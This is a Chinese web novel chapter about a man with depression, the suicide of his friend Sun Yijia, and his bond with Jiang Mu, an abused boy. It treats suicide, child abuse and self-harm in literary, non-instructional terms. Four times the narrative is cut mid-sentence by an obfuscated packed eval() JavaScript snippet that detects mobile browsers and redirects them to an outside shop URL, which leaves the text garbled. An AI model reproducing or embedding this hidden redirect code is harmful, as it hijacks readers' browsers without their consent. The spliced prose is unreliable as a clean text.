《飞跃疯人院》 1. 00 幼时的天比现在更蓝,因此黄昏落日,也橙的更漂亮。被风吹散的红云飘到了我的前方,脚下的路坑坑洼洼却无限延伸——七十五岁,陪魏敛过完了生日,过日不久,我却在这温暖且不刺眼的余晖中闭上了眼睛。 他年轻时总是让我担忧,担忧他的身体,他的精神,他的一切,我像个孩童一样渴望的抓住他的手,经年从未放过,直到此时离开世界竟比他先一步,年老的我才真正晓得习惯的可怕之处。 我不想与他分开太久,连死亡都算在其中。 我和魏敛的故事,仍是起于一个黄昏。在我十四岁的时候,身边的同学已经用上了最新款的智能手机,他们讨论着哪个游戏好玩,而我背起缝了许多针线加固的书包,离开了聚集的人群。 人在懵懂时,会以为自己参悟了全世界,但当真正的变故来临,才明白自己的愚蠢。譬如我的母亲,一个要强、体面了一辈子的女人,唯一的错处,是爱上了一个并不靠谱的男人,然后满心欢喜的交付了自己的下半辈子。 她怀上了我,却被得知男人早就有了家世。她可能也想过插足别人的家庭,但所剩的那些自爱,生生阻止了她——她选择离开,然后生下我。她姓燕,如同梁上燕,岁岁常相见的燕,我开心能够跟我母亲是一个姓氏,这世上再没有比我和母亲更亲近的人。 我曾有一个较为幸福的童年,那时母亲脸上还有笑容,可生活的重担渐渐压垮了这个瘦弱的女人,她开始责骂我的出生,拿起路上捡的竹条,狠狠抽向她的亲生儿子。我一再匍匐求饶,哭着喊她妈妈,但母亲沉浸在往日的悔恨与如今的苦痛之中,对我的叫喊恍若未闻。 爱与恨,看起来针锋相对,实则相长相生。如有实在恨之入骨的人,则前必有让人爱如珍宝的存在,否则浓烈的恨从何处而来?无中生有不会在这两个字中存在。因此我常常安慰自己,母亲对我的恨并不是恨,是望子成才的爱,又或是她对旧日爱人的感情,让她不得不寻找一位仇人发泄,显然与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087941|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲最亲近相像的我,成了母亲的首选。 不是每一个人都能有这份成为首选的资格。 我擅长这样安慰自己。因为当狂风吹拂我的身体,高楼的风景无比宽阔与自由,一跃而下时常成为我未来的一个选项。 但魏敛出现在我的世界里。即使只是一段路,也足够照亮即将夜幕的天空,因而我不顾一切想要抓住他,不曾想到他才是真正想要放弃这个世界的人。 我挣扎过,不解过,愤怒过,我拿出了珍藏的所有的爱与恨,就像重回到了孩童时期,竹条毫不留情的落在我的身上时,面向我爱的人,束手无策也无法反抗,唯有跪下匍匐求饶,说:“留下吧,魏敛,留在我身边。” 曾经的母亲并未理会我的企盼。 而魏敛只是轻轻抱住一败涂地的我,承诺说:“江暮,我会陪你走完所有的明天。” 明天、下一个明天、无数个与魏敛生活的明天,如此,组成了我曾以为遥不可及的一生。 2. 01 孙伊佳是半夜凌晨从高桥上跳了下去,尸体于一周后于江边被人发现。 听警方说,她的遗体被泡的发白,几乎无法辨认面容。 下葬那日,雨仍然不停歇地落,天色阴沉,连一丝阳光的照射都显得奢侈,水珠帘幕般的从伞沿坠下,让我有些看不清墓碑上的人像。 就在这样冰冷凝重的墓园,黑白服饰的人群中,我抱了一束向日葵。行人侧目,而我只是静静地放在她的身前。 “如果这是你最后的选择。”我轻声道,“我希望你已得到解脱。” 时间倒退回半年前,甚至可能还要更久——彼时她父亲有私生子的事才被孙伊佳发现不久。 孙伊佳是个大大咧咧且不细心的女生,一心以为自己家庭和睦美满。本科毕业后去了e国留学,说准备在那里深造读博,不过e国的水质太差,且一年到头没见过几次大太阳,发际线往后移了好几厘米(她满嘴跑火车从来没有度),上嘴唇好像都变薄许多。 当然这些都是小事,真正打击到她的,是她母亲给她拨打的长达半个小时的电话。 我已经无法得知电话里她的母亲说了什么,总之孙伊佳连课题都没打算做,连夜回了国。 我们是一个院子里长大的,小时候喜欢爬树,后来有一次‘不小心’放走了一个大爷挂在树枝上的笼养鸟,被两家父母一起狠狠训斥了,亲自带着我俩登门道歉,说小孩调皮捣蛋,书、记你别往心里去。 那个大爷摇摇手,说自己已经退休了,不要再这样叫他。又问我们为什么要故意放走笼子里的鸟。 孙伊佳说:“它叫的很可怜。”又扭头寻求我的认可,“对不对,魏敛?” 大爷说:“这是在遛鸟,孩子。” “关在笼子里,算什么遛鸟?” 我撞了撞孙伊佳,让她别顶嘴了,说到底是我们放走了他的私有财产,乖乖认错就好,可孙伊佳仍然不服输,倔强的争辩:“不,我没错。” 后来她去c市旅游,到了当地有名的寺庙,外面总会有算命先生经年摆着简摊,有些算八字,有些盘手相,有些看紫薇,千奇百怪。孙伊佳在道馆前找了个,听她说看之前的事很准,我问她那之后呢?孙伊佳回忆了几分钟,说记不清他叽里咕噜念叨了什么,似乎是什么我下一步大限三方四正不怎么样,让我远离多水的地方。 我当时和她都没当回事。从e国回来后她去问自己的亲爹突然蹦出来一个私生子是怎么回事,他爹回答你妈身体不好,不能再生了,但家里总要有个男人之后把天撑起来才行。 孙伊佳听完怒不可遏,她可以接受自己亲爹就是这样一个管不住下半身的人,但接受不了背着她们做出这种事后,用家里得有一个儿子这样荒诞又侮辱的理由堵住两人的嘴。 她还没来得及把家里闹得个天翻地覆,她的亲生父亲就下马入狱了。一切发生的太快,得有一个替罪羊挡在前面,她爹很不幸的被推出来,没有辩解的空间,甚至不敢交代多余的内情,孙伊佳在场亲耳听完判决,一时间分不清自己究竟是怎样的情绪,失魂落魄的看着她父亲的背影,捂住脸哭了起来。 她的母亲是个不经世事的女人,接二连三的打击让从小就生活在温室中的她重卧不起,在孙伊佳决定继续回e国完成学业时偷偷服药自杀了。据孙伊佳描述,自己准备出发赶去机场前,想要和她妈妈告别,以往对方总是起的很早,清晨会在阳台给养的花浇水,但那天她没有看见人,于是推开卧室的门—— 说到这里,她吸了一口烟,烟头燃烧的红点在黑暗里像闪烁的星星,然后说:“她死了,大抵死的不算痛苦。” 孙伊佳朝我笑了一下,感叹:“魏敛,人生啊。” 人生究竟是什么呢? 给予人幸福,但又带给人灾难。从出生到死亡,人别无选择。 在千千万万的众生中,孙伊佳所遭遇的这一切也许不值一提。可惜痛苦从来只属于自己,或大或小的打击,他人没法代替承受,也没法真正衡量这番痛苦压在当事人身上时的重量——e国她到底没有回去。 在参加完母亲的葬礼后,去见了一面她的父亲,没有宽容的选择说体己的话,只是告诉这个男人:“妈妈自杀了,我发现的太晚,没有及时抢救回来。” 我还牢牢记得那一天,她约我去山上看日落。我们从市区驶往郊外,车辆穿过大桥,孙伊佳看着桥下奔涌的江水,突然说:“我觉得我们是最好的朋友。” 我愣了一下:“这倒确实没错。” “所以魏敛,以后你死了我会到墓地那里给你送花的。” 我听完撑着车窗大笑起来,说:“好啊,我也会的。” 以往这条江面偶有波浪,很多时候保持着平静优雅,托举几条轮船缓缓流向大海。前些日子入梅,大雨连绵不绝,水位上涨,连江浪都变得湍急。 这两天是难得的小晴天,看天气预报似乎下周又要继续发潮的日子。这样的梅雨季每年要断断续续持续近一个月,孙伊佳调侃自己家里出事的不是时候,如果能晚些或早些,至少太阳能够为她作美,心里好歹多少安慰。 至于爬山,一开始我动过拒绝的念头,雨后山路湿滑,虽然昨天没有下雨,但也够呛,念及孙伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087942|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳最近的心情,实在不好拒绝,就答应了。 好在上去的路程虽艰难,到底平安登上了顶,赶在橙黄的余晖铺满天空前见到了太阳——那轮降落的红日,逐渐被天际线吞噬到地球的另一段,再被那里的人们目睹重新升起。 “一天又一天,太阳周而复始的升起又落下,似乎一切都没变。”孙伊佳发问自己,“……可我的家丢在了哪?” 她咬着烟,目不转睛的看着远方的落日,含糊不清的问。 “魏敛,还会有比这更坏的事吗?” 我沉默了会儿,说:“人活着的话,失去的就会回来。” “逝去的生命也会吗。” “……”我只能找一些理由,“如果你还记得死者,那么她的生命就会以另一种形式存在于你之后的时间里。” “……” “魏敛,谢谢你今天陪我来。”孙伊佳拍拍我的肩膀,终于露出一个真心实意的笑容,“我很开心。” 我也笑了下:“孙伊佳,你的未来会很好。” “嗯。”孙伊佳低下头笑了几声,吐出的烟雾缭绕,我看不清她的表情,“你会帮我见证未来的,对吗?” “当然。”那时的我,一心认为,她口中说的未来,是属于自己的,而不是一个概念。 幼时即使理亏,也能够大着胆子说出‘我没错’的孙伊佳,不会被变故轻易打倒。消沉是痛苦的后遗症,但后遗症终究有减轻甚至消散的那一天——我对自己的人生感到悲观,可又矛盾的用乐观的态度看待身边人,导致了这个本该可以避免的错误发生。 她将我送回了市区,天色已暗,凉湿的晚风夹杂着淡淡的水汽,她说自己赶时间去别的区办点事,我又没开车出来,让我自己打个车回家,转了我五百块当打车费用。 我嗤笑:“缺你那几百块钱打车费?” “我把你带出来,总得负点责吧。” “罕见,今天倒是很客气。” “魏敛,我以后想拿剩下的钱做流浪动物公益。”孙伊佳很认真道,“你觉得怎么样?” 我替她高兴:“有目标是好事。” “好。”孙伊佳笑道,“我就当你也会帮我了。” “少跟我胡扯。” 孙伊佳朝我挥挥手:“明天见,魏敛。” “明天见。” “照顾好自己。”孙伊佳对我说,“心理医生记得定期去看。” 我隐隐觉得不对,可还没来得及细想,孙伊佳就扬了我一身车尾气。 从此,世界上再没有孙伊佳,我同样失去了最好的朋友。 3. 回忆(第三人称) “喂!前面那个小孩!” 燕江暮脚步顿了顿,很小幅度的转过头看向身后。 孙伊佳指指他的书包,提醒:“你书包破了。东西要掉下来了。” 燕江暮有些迟缓的想着:破了?自己的书包吗?他记得放学自己收拾东西的时候还好好的。 他脱下来检查,发现竟然是真的,薄薄的布层似乎是被刀片划破了一个口子,可他甚至毫无察觉,或许是走出校门时被那群人推搡,过程中被动了手脚。燕江暮沉默一秒,然后礼貌的鞠躬道谢道:“谢谢。” “嗐,小事……” “等会儿。” 燕江暮抬头,寻声看向来人——那是一个样貌俊气到可以称为风流的男生,看起来十八九岁,眉骨凸出显得眼窝深邃,微微往下垂的眼睛半耷拉着,鼻梁笔挺,嘴唇很薄,无故让燕江暮想起冬天房檐边沿晶莹但寒冷的冰锥。 即使那位提醒自己书包破了的女生已经很高,但他要比女生高出半个头还要多,站在年幼的江暮面前像一个巨人,一堵墙,黑色的影子笼罩住燕江暮全身。 他说:“伸手给我。” 燕江暮捏了捏掌心:“……” 这个男人漫不经心地笑了下:“不打小孩儿。” 燕江暮缓缓伸出手给他,随后对面这个男人轻飘飘的将一张饭卡放在了上面:“燕江暮,这个饭卡上的名字。”他弯下腰,食指不轻不重地点点上面的字,撩起眼帘看他,“是你吗?” 燕江暮看清楚这确实是自己的饭卡后脸骤然白了,他感到一阵后怕,万一要是这个饭卡丢了,万一他找不到,万一让妈妈发现。许多个万一在他脑子里打转,让他后怕的紧紧捏住饭卡,喉咙发涩道:“是……是我的。谢谢你。”他抿了抿唇,再次道谢,“真的真的……谢谢你。” “你干嘛这么严肃?别吓着小孩儿行吗?”孙伊佳拍了下他的肩,用拇指指着男生,介绍道,“他叫魏敛。” 燕江暮逆着光,抬头看他。 孙伊佳在旁边自来熟的爽朗笑道:“我叫孙伊佳,我们是来这做社会实践的,之后我要在这呆十天做支教,你在哪个学校?看你这身板还在上小学吧?” 燕江暮其实想赶快回家,他怕晚太久,妈妈会生气。可他似乎不太会应付孙伊佳这样比他大好几岁,且热情开朗的人,只能呆头呆脑的回答:“……没有,我初二。” “噢,初二,那不也跟小学的年纪差不多。不过你怎么那么瘦?”她指指江暮背着的书包,“还有,你书包怎么破的?我瞧着也不像脱线。” 燕江暮抱紧书包不说话了。 孙伊佳问完才觉得不对,应该是戳到这小孩痛处了。 魏敛漠不关心的插着兜在一旁听孙伊佳废话,双眼冷漠的打量四周——贫穷的乡村田野,落日近傍晚,潮湿的泥土地,偶尔传来蛙鸣的草丛,魏敛都没见过,却也不太感兴趣。 “我……我要回家了。”燕江暮捏紧书包带子,“谢谢哥哥姐姐,谢谢你们。” “真不用,这谢什么……嗯?”孙伊佳以为自己看错了,她抓住他的手腕,看着上面的淤青不可置信道,“你被谁打了?” 燕江暮惊吓的瞪大眼睛,连忙把自己的手扯回来,严实的捂住袖口:“……体育课不小心被篮球打伤了,不要紧。” 孙伊佳不大相信,还想说什么,不远处传来一声呼喊:“孙伊佳!!领队找你!!” 孙伊佳连忙道:“哎!知道了,马上!!”说完对一旁的魏敛使眼色,“魏哥,你送他回家?” 魏敛嫌烦的睨了她一眼,要知道他的社会实践早就做完了,来这破地方还不是被这几个发小硬绑过来的,说什么他就是被资本主义腐蚀了,需要下乡支教深入人民群众。 如果不是小孩儿在场,魏敛早就喊她有多远滚多远了。 燕江暮有些怕魏敛,小声说:“我自己回去就行……” 孙伊佳向来是热心肠,一挥手:“那哪行!我看这书包都漏洞了,何况这书包也忒大了,怎么给你这么个小孩儿买这么大的书包?背都不好背!” 魏敛有时候觉得傻有傻福,有时候又觉得太傻也讨嫌,孙伊佳在这两种类型间时常摇摆。 “领队找你。”魏敛淡淡道,“还浪费口舌?” “我也没说不去啊……我现在就去。”孙伊佳推了他一把,“问问哈。” 意思是让他负责点,送小孩儿回家,再搞清楚手上的伤到底怎么回事。 魏敛懒得理她,他从燕江暮手里拿过书包,刚拿过的一刹那他眉尾细微的扬起——怪不得书包大呢,装的书还挺多。想着又瞥了眼燕江暮的身板,现在的小孩每天竟然背那么重的东西上下学,倒也是厉害。 他拎在手里,对呆愣的燕江暮扬扬下巴:“走?” 也不等对方回应,便迈开长腿向前走,燕江暮营养不良,又小魏敛许多岁,魏敛走一步,他要两步才追的上,最后竟然小跑起来,走的气喘吁吁,偏偏闷着头一句话也不说。 “你家往哪。”魏敛站在分岔路口停下脚步,燕江暮没刹住车,脑门撞在他背脊上,疼的他嘶了声。 然后他听见头顶传来了一声哼笑。 不像嘲讽,也不似亲密,在日后魏敛抛下自己躲进疗养院,连探望都不被允许,燕江暮失眠时便总会想起这个时候。 这个,他们第一次相遇,魏敛送他回家的时候。 年幼的燕江暮抬起头,落日的余晖肆意撒满魏敛全身,在那片光里,周遭的一切都变得模糊,唯有魏敛的面容在记忆里尤为清晰。 他棕色的眼珠也因夕阳变得橙黄,垂下眼睫,吐字明明十分清楚分明,可就是让人感觉很轻:“我不打小孩,同样也不抢小孩儿东西。”他扬扬手里的书包,“你在怕什么?” 燕江暮也不知道。 魏敛懒洋洋的开口:“往哪边走?” 燕江暮紧张道:“……什么?” 魏敛无奈的轻叹一口气:“我问,你家往哪边走。” “……右。” “行。”魏敛点点头,方向一转朝右岔路走去,没两步突然扭头对他说,“现在的小孩儿都那么没有警惕心吗?” “……” “不是每一个人都像孙伊佳那样。”魏敛好心的替他进行了安全教育,“你有没有想过,万一我是个坏人呢?” 燕江暮瞟了他一眼,又低下头去,小声嘟囔:“……我想过啊。” “是吗?” “但你帮我捡回饭卡……我很感谢你。” 魏敛看向他手里的饭卡:“卡里充了很多钱?” 燕江暮点头。 “多少?” “……” 现在倒挺有警惕心。魏敛只是随口一问,倒也不是真的感兴趣,说:“走吧。” 这回不知道是不是燕江暮的错觉,魏敛的速度慢了很多,至少他不用火急火燎的跟上他的步调了。 燕江暮抿抿唇,望着这个对自己来说笔直高大的背影,说:“两百。” “嗯?” “……饭卡。” 魏敛突然说:“你走前面吧。” 燕江暮说:“我自己回家就行。”他已经初二了。 魏敛轻笑一声,没理会他的话,只是回想那张脸,燕江暮,江暮……长得倒还挺像江家的那位,难道真有那么巧? 他在原地拿了根烟出来咬在嘴里,用空闲的手打开打火机的盖子,火苗点燃猩红的火星,他吸了一口后弹弹烟灰,不容置喙道:“送你。” 怪人。燕江暮不想理他了,自顾自的走自己的路。 魏敛若有所思的看着前面这个小不点,问:“你书包怎么装了那么多书。” “……”燕江暮装傻不回答。 “单亲家庭?”魏敛单刀直入道,“家里只有你妈妈。” 燕江暮想,自己讨厌他。即使这个叫魏敛的男人帮他捡回了自己的饭卡,但此时此刻,自己讨厌他。 “回话。”魏敛耐心有限,直接一整只手摁住燕江暮的头顶,燕江暮不设防,脚还在向前走,上半身被扯得往后仰,他看见魏敛垂着那双冷淡的棕色眼眸正低头打量他,双眼皮不宽,不笑时压下神情更是将人隔绝千里之外。 燕江暮一天里受的委屈在他看蚂蚁一样的探究里彻底藏不住,他眼眶兀的红了,呼吸颤抖,说:“关你什么事?!” 魏敛挑眉,轻飘飘的吐出烟雾,“嗯……说得倒也是。”他松开手,“怎么,学校里很多人欺负你,受委屈了?” 燕江暮憋着泪,想要从他手里抢回书包。 魏敛手动也没动,任他闹腾,他记得爸妈之前提过一嘴,江家的掌权人江晖在外面有私生子,但江晖老婆的婆家不是什么好惹的人物,知道后大发雷霆,不仅差点搅黄江氏正在推进的并购案,还将当时怀孕的小三赶去了不知道哪个地方。 他为什么能够记得这件事,是因为当年那次并购案是委托他母亲负责的。 “有哪几个。”魏敛压根不理会他的愤怒与厌恶,就像在看小狗小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087943|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫闹腾似的,“我替你收拾。” 燕江暮只说:“你…你还我书包,呜……” 他不知道为什么自己要哭,可他忍不住落下眼泪,手胡乱的摸泪,下一秒又重新溢满。他其实不爱哭,更不怎么哭,但遇到魏敛后的许多年里,他像是失去了眼泪的控制权。 魏敛无奈的看着眼前这个落泪的孩子,徒手摁灭了烟头丢进口袋里,道:“我没欺负你,哭什么。”他拍拍燕江暮的头,“回家了。” 哪想到燕江暮蹲下身,哽咽道:“我不回家……” 魏敛差点就要把书包丢在地上对他说好吧那我走了。但对确定燕江暮身份的兴趣让他在原地面无表情的站了会儿,蹲下来问他:“为什么?” “……” “手臂的伤,你妈妈打的。”魏敛选择用陈述句笃定,果然,燕江暮立马否定道:“不,不是!” 魏敛似笑非笑道:“是吗。” “是…是……”燕江暮的眼珠子死死盯着脚下的泥土地,糟糕,他又想哭了。 魏敛问:“想要我帮你吗?” 帮他?帮什么呢?他可以帮他赶走欺负人的同学,可难道还能把妈妈赶走吗?就算能,燕江暮也不愿意。 他已经初二了,即使个头矮小,却也有反抗一个并不强壮的女人的力气,但每次想要推开母亲时,他总总会在她愤怒狠戾的脸上,看到昔日温柔的影子,于是像被火烫伤,失去了所有力气,整个人只会蜷缩在一块。 久而久之,似乎已经忘记自己拥有反抗的能力。燕江暮暗示自己,爱就是会带来疼痛。 “……不要。” “嗯……”魏敛撑着脸上下打量这个小孩,单亲家庭,缺失父亲,与江晖相似的脸,一直藏在一个村子里,想着想着他便觉得有趣的笑了,“上来,我背你回去。” 燕江暮警惕的看他,再次道:“不要。” “你走太慢了。”魏敛淡淡道,“磨蹭。” “……” “过来。” 这人一点也听不懂人话,他说了不用送,想要自己回家——燕江暮一边这样想着,一边看着魏敛清瘦但宽阔的背脊,大概从小缺失的父爱令他无法抗拒这样另类的‘关怀’,他小步的挪过去,小声说:“书包,我自己背……” 魏敛又不太明显的笑了,把书包递给他,“背好,然后趴上来。” 燕江暮背上自己沉重的书包,然后整个人趴上魏敛的背,下巴抵在他的肩膀,魏敛稳稳当当的背着他站了起来,向着回家的路归去。 他以为像魏敛这样的人,身体也同铁块一样冰冷,可真正贴近时,才发现其实很暖和,他的衣服上有很淡很淡的香味,像阳光下晾晒的樟木。那气味燕江暮一直忘不掉,后来缠着问魏敛那时候是不是喷了香水,魏敛坐在他旁边,想了很久,最后干脆丢给他一瓶香水让他闻闻是不是。 彼时的燕江暮已经被强迫去掉燕姓,出现在大众面前的只能是江暮,他期待又小心的喷在手腕,凑近闻了闻,眼睛亮了:“就是它!” 魏敛看小动物似的在一旁看他低头闻香的动作,慢悠悠道:“很喜欢?” “这是什么香水?” 江暮自以为不着痕迹的靠近魏敛,但一切小动作都被魏敛尽收眼底,他拍拍江暮的脑袋,说:“琴酒。过几天买瓶新的送你。” “我……就想要这瓶。” “为什么?” “呃……”十九岁的江暮脸红了,“想要你用过的。” 魏敛愣了下,江暮却以为他不乐意,扯扯他的袖子,小声说:“可以吗?我就想要这瓶……魏敛哥哥。” 那个时候的江暮对他太爱撒娇了。好像非常乖,任人揉搓,且软弱爱哭。但在外人面前一切又不尽然。 每个时间段的江暮,对魏敛来说都十分新鲜。无论是刚见面时的警惕,还是在一起后的依恋,又或是多年重逢后那番崩溃的抓狂。 江暮就是这样,让魏敛无法预测,也无法拒绝。如果说对他而言人生是一张素描,那江暮一定会是他手里的调色盘,并且这个调色盘会很强硬的告诉他:“这辈子我就黏在你手上了,所以你还是老实放弃你手里的炭笔吧。” 非常不礼貌,也非常没有边界感,对吗? 但魏敛其实并不在意。 因为如果要选出一个这个世界上最爱最爱他的人,爱到除他之外什么都不要,连死亡的按钮都交由他掌控——那么,这个人魏敛大概只能想到江暮。 毕竟,江暮就是这样。 4. 出院(第一人称) 我书架上的哲学书籍渐渐多了起来。 精神病院,委婉好听一些的说法——疗养院,我住在这里已经三年有余。医生和我说过,我的程度大可不必进来这里,和一群真正‘发疯’的病人住在一块,我说我是自愿的,我想一个人呆一会儿。 人很难真正孤独的去思考一些事。我思来想去,将自己送来了这里,选了最尾间,在角落里,比其他病房的位置都要清净。 大概我的神智清醒,做事有着正常人的逻辑,负责的医生观察了好一阵,才默许我将这个疗养院当作是酒店的意思。 我每年都会一次性超额缴纳下一年的费用,无意占用医疗资源,只不过疗养院的床位从来没有满过,我想自己应该是没有耽误他人的治疗。居住的病房很大,这得益于钱的力量,医院似乎把我当成了一位间接的金主,毕竟我超额缴纳的数额十分可观,以至于我可以提一些别的要求。 所以我空旷的病房里有一面书架,上面塞满了杂七杂八的书,面向窗户的地方有一架画架,旁边胡乱堆砌着我的作品与绘画用具。书桌上放着前段时间重新复读的《存在与时间》,风轻轻掀起白色窗帘,也翻动了它的书页。 其实我很早时候看过心理医生,我告诉医生,我的父亲是一位高校的教授,母亲是一位律师,他们对我的期望很高。这位心理医生问:“他们对你过高的期望让你压力很大吗?” 我漠然道:“不,这是应该的,因为我曾经也想成为我母亲那样优秀的律师。” “现在呢。” “......”我说,“我的爷爷有精神病,抑郁转双向,四十多岁时自杀了。”说完这句话,我像是浑身都开了个透风的口子,靠在背椅上,询问,“虽然我知道这很不好,但我现在想抽根烟,可以吗?” 心理医生抬头看着房间里挂着的“禁止吸烟”的牌子,目光又转移到我的身上,那个时候我很年轻,十八岁,刚参加完高考,她妥协道:“没问题,但是为了健康考虑,只能抽一根。” “非常感谢。” 她说:“所以你认为,这是隔代遗传?” 我低下头,烟雾却不懂事的往上飘渺着:“可能有一半原因。” 医生耐心道:“另一半是什么呢?” 我回忆起来:“高二上学期,也就是我还没真正下定决心要走艺术生这条路时,我母亲的律所组织了一场公益法律援助,我跟着一起参与——不,参与这个词不准确,我只是在旁观看。” “然后,我看见很多我没有看见过的苦难,甚至有些人可能只是为拖欠的那几万工资而苦恼,但那几万块是他在工地上辛苦了许多个月,想要寄回去给家里作补贴的钱。” “那位工人说着说着哭了起来。”我想起对方黝黑的面庞,衣服上是未洗净的泥土,手指上绑着脱丝老旧的创可贴,脸上的皱纹很深,即使极尽忍住泪意,可轻微颤抖的声音仍然出卖了一切,他迫切的抓住了律师伸出的手。 “他说:‘法官,我的钱还要的回来吗?我女儿...我女儿要交学费嘞,她,她上次说想要一双新鞋子,我答应了,要给她买的。’” “需要帮助的人太多,但正义总总缺席。”我笑了笑,“我认为自己很矫情,世界上每时每刻都在发生不公平,在大洋的这端,又或者那端,不会是一件稀罕事。” 但有时候,理想的滤镜只需要轻轻一压就能碾碎。 最后那名工人究竟有没有拿回他的欠款,我无从所知,只记得对方得到了建议后,脸上出现了喜悦的神情,我看着他离去的背影,问身旁这位年轻的律师:“真的能拿回欠款吗?” 律师叹了口气:“俗话说得好啊,死猪不怕开水烫。就算法院强制执行,但要是真不想给钱,就有一千个一万个方法,而且很多时候并不是包工头不想给钱,而是人家自己也在要款。” 这大概只是一粒灰尘压在我的身上,但我却愈来愈不想走上这条道路,我无法解决我看得见的苦难,便懦弱的选择回避,母亲却宽慰我:“这有什么?你大可以像我一样做非诉,等以后时机适当,完全可以接手我手上的业务。” “美术挺好的,你不从小就给我报美术班——” “那是为了培养你的课外爱好!你爸还给你报了钢琴班,怎么不见你想要走这个?” 其实我也不懂我自己。我非但不懂我自己,还不懂之后发生的任何事。 我对生活感到厌烦,开始在纸上乱涂乱画,那些五彩斑斓又毫无逻辑的笔画连接着我无序的思维,向前行走的每一步都让我感到困惑。 我不知道自己怎么了。 夜晚变得难熬,失眠经常在闭上眼时光临,好不容易陷入梦中,但第二秒仿佛就睁开了眼,时间却已经来到了第二天。 在一次课间,我被孙伊佳紧紧握住了手腕,她十分严肃的问我:“魏敛,你怎么了?” 我回过神,发现不知道什么时候,圆规的尖头深深刺入了我的掌心。 我愣神的看着那个红色的伤口,缓慢的眨了眨眼,另一个自己对我说:“我可能......生病了。” 为什么会这样?因为看见了无法拯救的苦难?可我并不是上帝,不是地藏菩萨,不是普渡众生的一切。当画笔落在白纸上的那一瞬,我仿佛才能放开这具沉重的躯壳,灵魂由着这一道道笔触,进入我臆想中美丽的世界。 没人能够明白,我为什么要放弃优异的成绩,去参加美术生集训。不必明白,世界上很多事情没有答案,就像我突如其来患上了一种,需要长期去尝试和自己和解的病。 然后,我遇到了江暮。彼时他还姓燕,回到江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087944|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家不得不选择抛弃自己的过往,他与他的母亲生活的很苦,帮助他好像能弥补一些我无法得知的过错,当然了,我没想过他会喜欢上我。 出于怜悯的交往,不会长久。因而抛下的那瞬间,我也狠心的仿佛一把屠刀,那屠刀架在他的脖子上,刀柄在我手里——就像我掐着他的脖子,而他流着眼泪看我。 “今天是我的生日,你却跑去墓园看孙伊佳,你甚至不愿意告诉我。”江暮的眼泪宛如熔浆,当这些熔浆滚落到我的手臂上时,我才被烫醒一般,松开了自己的手。 我在干什么? 我无法置信的低头看向自己的手心。 没错,我没有发现孙伊佳的异常,就在同一天,我们在山顶上看过日落,谈论过死后的安排,畅想过未来。灾难以后,一切都将坍塌成废墟,可一切坍塌,又将会迎来重建与新生。 我以为,我们都会迎来新生。 但那一天,时间如同吃人的洪流,潮浪让她永久留在了过去。 而现在,我可能会伤害这个最爱我的人。 《存在与时间》是我进入疗养院后,买的第一本书。我第一次翻开它,文字晦涩难懂,哲学书总会有这样的通病,让人看的昏昏欲睡,可那天我竟然挑灯夜读,这样的行为无论谁来看,都会觉得我有些不正常。 第一次读完它后,暗自告诉自己,下一次再次读完它时,那么我就应该离开这个‘乌托邦’。人不能脱离社会太久,我想我应该回去看看我的父母,去瞧瞧江暮是否已经释然自己被我抛弃,渐渐过的很好。 我独自一人办理完了退院手续,院长看我的神色十分不舍,一个出手大方,又从不惹事,看起来只是一个特立独行寻找灵感的艺术家,而非真的精神病的‘患者’,谁会不喜欢呢? 我在院外的路边骑上一辆共享单车,蓝色的外表和我这三年来穿的病服颜色十分相似,总觉得分外亲切。 街边的梧桐叶正翠绿,离它们飘飘然落下还有很长一段时间,阳光洒落在叶片上,透过缝隙,我就这样悠闲地穿过这一片片不规则的光斑里。 街道很静,显得天气好得让人舒心,脑海里莫名闪过江暮的影子,想着那孩子应该会很喜欢。 “魏敛。” 我愣了下,以为自己病症加深,出现了幻听。 “我还以为,你要继续在里面待第四年呢。” 一辆黑色的迈巴赫停在路边,江暮放下车窗探出头,西装革履的,打扮得十分人模人样。他黢黑的眼珠子盯着我的脸看了好一会儿,没有继续说话。我忍不住提醒道:“这里是黄色实线,你违规停车了。” 江暮自然不在意这些,他嗤笑了一声,然后说:“上车。” “......” 